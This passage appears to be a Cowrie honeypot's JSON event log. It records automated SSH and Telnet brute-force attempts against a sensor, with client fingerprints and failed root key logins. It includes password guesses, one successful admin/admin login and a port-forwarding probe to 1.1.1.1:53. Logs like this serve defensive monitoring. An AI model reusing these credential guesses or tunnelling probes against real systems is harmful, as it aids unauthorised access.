16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:06.603339Z","src_ip":"109.237.96.109","session":"f494f4668af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:06.885795Z","src_ip":"109.237.96.109","session":"f494f4668af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:07.980227Z","src_ip":"109.237.96.109","session":"f494f4668af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.745203495025635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:13.308962Z","src_ip":"50.6.8.71","session":"6071bf01e275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.63.58","src_port":42310,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf3f02dad55","protocol":"ssh","message":"New connection: 199.127.63.58:42310 (10.17.0.5:22) [session: 0bf3f02dad55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:21.995647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.001993Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.039886Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD8m4awgdFXmecTiMkLc7bsjXebFjoAHGAm/XJjr/FGVCO7u93ie/0U+caGR2V6tmOmeO65ZeUAN2lzFbGrEx4fr/eWtSy1GevYb66kg24LtiurAIYtyuBsH1II3usoS1MG8FUXClionLkSMioL/iJ+43Y/zZMitHsVhZpXLQclU/vrXXRZ2AcYlog0nFOIHiIfPTuBXL6lH0aZPoy34lpS3uCjfUKL/sXa5mc8FpC076VaFUJ7HCIPDqN5kNT8doDQ0uTxe1iV2UsWzz8CweW1xPO+ooWLDJha3VY72weXi6+bC235N4wscUGK0K7251rFt5Jyw3iaQn/VFtoxnBzx0RE1vcSPHbrTxshPtNjwSXk6acrpTB9J6vxkZAQn8RfmqJX2nozSpY5zkDtwWyQou8g31OZM/aHFVGDF6UbBI5KTB7K2d4k2xe/H4xYe5QP0NhFxAP09ZAzMPnew9QPMl2deTK8J7xrJNdV52qtHHUb42++5NPBqYCC1ub5S80=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.202761Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:2b:23:31:df:5d:c7:06:5d:ab:c2:2e:f7:97:1b:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD8m4awgdFXmecTiMkLc7bsjXebFjoAHGAm/XJjr/FGVCO7u93ie/0U+caGR2V6tmOmeO65ZeUAN2lzFbGrEx4fr/eWtSy1GevYb66kg24LtiurAIYtyuBsH1II3usoS1MG8FUXClionLkSMioL/iJ+43Y/zZMitHsVhZpXLQclU/vrXXRZ2AcYlog0nFOIHiIfPTuBXL6lH0aZPoy34lpS3uCjfUKL/sXa5mc8FpC076VaFUJ7HCIPDqN5kNT8doDQ0uTxe1iV2UsWzz8CweW1xPO+ooWLDJha3VY72weXi6+bC235N4wscUGK0K7251rFt5Jyw3iaQn/VFtoxnBzx0RE1vcSPHbrTxshPtNjwSXk6acrpTB9J6vxkZAQn8RfmqJX2nozSpY5zkDtwWyQou8g31OZM/aHFVGDF6UbBI5KTB7K2d4k2xe/H4xYe5QP0NhFxAP09ZAzMPnew9QPMl2deTK8J7xrJNdV52qtHHUb42++5NPBqYCC1ub5S80=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.206923Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAbBuTmom6lfX8GGLoApoSodn3QgvEC8UdqLHQtGKhIL/958D/bfdzJNu/zRN9wl89sBcCwfDvhxyKd+d3THM38bb+ryc1jTZDcXTblrfeDcQVo3hO0LUz535JvuO+D811Pxo7cbQnXxAe7Jck3AK5rg8iTAxkQRuLWVokIU6VmbUf3QQFNrQKmHE3YHCAuxhyg7Emdxs0DdIYPklNJYUOhzDPUWn3U/MmJcXq9hMHWw3NiocYuLwpGYndMA3ymMi6mMAr7AM/+gDiFdgMjkUv2k5ZtDxEoc2GB3/xBV2dBEUJkdfy2yGFoTI31VdHq7TWd/fy/aM57YBHFLZX4Wz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.245594Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:f8:13:c5:d4:07:43:fd:02:4a:f5:29:62:a0:c6:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAbBuTmom6lfX8GGLoApoSodn3QgvEC8UdqLHQtGKhIL/958D/bfdzJNu/zRN9wl89sBcCwfDvhxyKd+d3THM38bb+ryc1jTZDcXTblrfeDcQVo3hO0LUz535JvuO+D811Pxo7cbQnXxAe7Jck3AK5rg8iTAxkQRuLWVokIU6VmbUf3QQFNrQKmHE3YHCAuxhyg7Emdxs0DdIYPklNJYUOhzDPUWn3U/MmJcXq9hMHWw3NiocYuLwpGYndMA3ymMi6mMAr7AM/+gDiFdgMjkUv2k5ZtDxEoc2GB3/xBV2dBEUJkdfy2yGFoTI31VdHq7TWd/fy/aM57YBHFLZX4Wz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.249430Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdfzq1MW0lelf5eSbhX1+QRonXr/+1NmFAcO0xX3OzKdsQr7yz4vAaIv1LyB2odU2m9pFrww/JYu1eFc751SRk6n1XjDQVg17ct4dynFJ7TiOLCN5cb82v3E7ufuyAfqHQp8WFWDCHy36Qso8SBSCjwc8Fbolmj5EHIwfahvY0VHpJz8XfR274J7EJvh1jw4aXxLiwZRHyErZSRBK5NlVSeKX57g5NTorwszkHgy4oTZgdzxcUBx7i+oC2hX9w9a0MuhP4WmjFVE46TKT7G3xfq1InmG5TlMQvqbBVWR9Qr1aZCJvFOpC3eVXaYOeSshUaNajvwvgGu9a169yZpoUH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.289072Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:e3:cf:1f:fd:9d:e6:7a:f2:ec:2e:c3:e3:34:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdfzq1MW0lelf5eSbhX1+QRonXr/+1NmFAcO0xX3OzKdsQr7yz4vAaIv1LyB2odU2m9pFrww/JYu1eFc751SRk6n1XjDQVg17ct4dynFJ7TiOLCN5cb82v3E7ufuyAfqHQp8WFWDCHy36Qso8SBSCjwc8Fbolmj5EHIwfahvY0VHpJz8XfR274J7EJvh1jw4aXxLiwZRHyErZSRBK5NlVSeKX57g5NTorwszkHgy4oTZgdzxcUBx7i+oC2hX9w9a0MuhP4WmjFVE46TKT7G3xfq1InmG5TlMQvqbBVWR9Qr1aZCJvFOpC3eVXaYOeSshUaNajvwvgGu9a169yZpoUH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.293315Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEauetrfefzG/w6cazFRfQxxgZr24jU84B7NRELP+Sw73jjzXDYNEVtptFp0Kq7mfV+wjzAWesNvJ1cc/sE6Bboxg7XOXneXdggE1RF16/3RXTl6SOJbSqrhqTH+sXHfFbEaAIyrv9k/3lar3tm/6i++za1DirBBtoqriGLG5Abpz4BdA2YCfZI5djGdF1+5iXq+TK1CawpzdXTfyiZFshAm/yxy5d1j/pRSWO4uyIvnqwVV8l48h37uHesP2OoX0RVlFYBxGjIsMnc8smokwbxUBBgG+mogjJQbGWj4vYqzihs1lKklFWZtmbVwf7oDbPqdiR0DvbaACY6V1MOZgL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.333924Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:aa:fb:4c:85:39:15:17:f7:e5:a9:fd:fe:d4:2c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEauetrfefzG/w6cazFRfQxxgZr24jU84B7NRELP+Sw73jjzXDYNEVtptFp0Kq7mfV+wjzAWesNvJ1cc/sE6Bboxg7XOXneXdggE1RF16/3RXTl6SOJbSqrhqTH+sXHfFbEaAIyrv9k/3lar3tm/6i++za1DirBBtoqriGLG5Abpz4BdA2YCfZI5djGdF1+5iXq+TK1CawpzdXTfyiZFshAm/yxy5d1j/pRSWO4uyIvnqwVV8l48h37uHesP2OoX0RVlFYBxGjIsMnc8smokwbxUBBgG+mogjJQbGWj4vYqzihs1lKklFWZtmbVwf7oDbPqdiR0DvbaACY6V1MOZgL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.338427Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZyb9oLg94VNcRlcfOu0X7FnOCCBeXmGvkaFcNYkGsST9khW5rA1dwxDGUn3WYbFwrpsNO5gRRez4lt+zbJnT+d5ajqwlAU9hR36CkIaJT2QbBZeVw80UFJD297g5w/EgBuB7CsIh8naZwrz8SYHvFlOWr2ZzPM+4TL4hthTfq5XQs3xbb3iG2S+nlTfkSnYdOP5kEXxBhEY+OaSN6lJX6gY30CWIs7IecT6+8hXbtTrAKKU9n48DhC/ISbmjt+wzJPsusGMO+EWeFdR219a90NptqzL38Lb3GyDjB4ozKGdBqMHj2SE8SQ7myVzoOH7E5OFCRXzesTBlnV5tcc/7lLrDyB9B6YCwZvxqdfMuwCldcokdU7raU0nFomgeAVtEEaWUGiHeXqLOwt3mPNBu63oe+PimXIaQvzXQoxkgHBoKObUBjKXSTMOY+aYhXCAB81XrQH2DC2ZiqWEzpS2kf6gB6HUVOmSQ3DNQaKEZXBCAtgtdI6tEZO7HmDWOwSNJLETLIGYBhrOq6WWGhRWWhbq7SZgDOgy6sOwoWeYfZduSXzivcVkOPKLmqX0KAi40s0HfKBWyuJn+I5DsZAzSyhctwl6JX3533OUmGMs+rSOLa0RQMpmRo4phLAYO/qUNVDbrEBlRLPGtCB8Py953lL16wr1fR+BZ6Dfs111qgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.376731Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:c4:69:1f:b4:76:f1:88:5e:d5:9e:e0:e1:08:db:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZyb9oLg94VNcRlcfOu0X7FnOCCBeXmGvkaFcNYkGsST9khW5rA1dwxDGUn3WYbFwrpsNO5gRRez4lt+zbJnT+d5ajqwlAU9hR36CkIaJT2QbBZeVw80UFJD297g5w/EgBuB7CsIh8naZwrz8SYHvFlOWr2ZzPM+4TL4hthTfq5XQs3xbb3iG2S+nlTfkSnYdOP5kEXxBhEY+OaSN6lJX6gY30CWIs7IecT6+8hXbtTrAKKU9n48DhC/ISbmjt+wzJPsusGMO+EWeFdR219a90NptqzL38Lb3GyDjB4ozKGdBqMHj2SE8SQ7myVzoOH7E5OFCRXzesTBlnV5tcc/7lLrDyB9B6YCwZvxqdfMuwCldcokdU7raU0nFomgeAVtEEaWUGiHeXqLOwt3mPNBu63oe+PimXIaQvzXQoxkgHBoKObUBjKXSTMOY+aYhXCAB81XrQH2DC2ZiqWEzpS2kf6gB6HUVOmSQ3DNQaKEZXBCAtgtdI6tEZO7HmDWOwSNJLETLIGYBhrOq6WWGhRWWhbq7SZgDOgy6sOwoWeYfZduSXzivcVkOPKLmqX0KAi40s0HfKBWyuJn+I5DsZAzSyhctwl6JX3533OUmGMs+rSOLa0RQMpmRo4phLAYO/qUNVDbrEBlRLPGtCB8Py953lL16wr1fR+BZ6Dfs111qgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.381573Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:22.419839Z","src_ip":"199.127.63.58","session":"0bf3f02dad55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"e780318a31c0","protocol":"telnet","message":"New connection: 50.6.8.71:44232 (10.17.0.5:23) [session: e780318a31c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:27.133263Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44238,"dst_ip":"10.17.0.5","dst_port":23,"session":"614c713180a5","protocol":"telnet","message":"New connection: 50.6.8.71:44238 (10.17.0.5:23) [session: 614c713180a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:29.713313Z"}
{"eventid":"cowrie.session.closed","duration":31.38010883331299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:34.890333Z","src_ip":"50.6.8.71","session":"0ca7d8ffadaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.157617807388306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:36.339663Z","src_ip":"50.6.8.71","session":"ba35c753536f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93906784057617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:39.285049Z","src_ip":"50.6.8.71","session":"d3951ccfb3db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c6af16c701","protocol":"telnet","message":"New connection: 50.6.8.71:43950 (10.17.0.5:23) [session: a2c6af16c701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:41.384738Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50878,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f89ce21bb5","protocol":"ssh","message":"New connection: 87.251.64.176:50878 (10.17.0.5:22) [session: 55f89ce21bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.123602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.128421Z","src_ip":"87.251.64.176","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.226770Z","src_ip":"87.251.64.176","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.517345Z","src_ip":"87.251.64.176","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.617025Z","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.717226Z","src_ip":"87.251.64.176","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:42.817575Z","src_ip":"87.251.64.176","session":"55f89ce21bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97072446175","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: f97072446175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:43.124450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:43.129694Z","src_ip":"4.210.91.174","session":"f97072446175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:43.198132Z","src_ip":"4.210.91.174","session":"f97072446175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:43.499632Z","src_ip":"4.210.91.174","session":"f97072446175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:44.571038Z","src_ip":"4.210.91.174","session":"f97072446175","protocol":"ssh"}
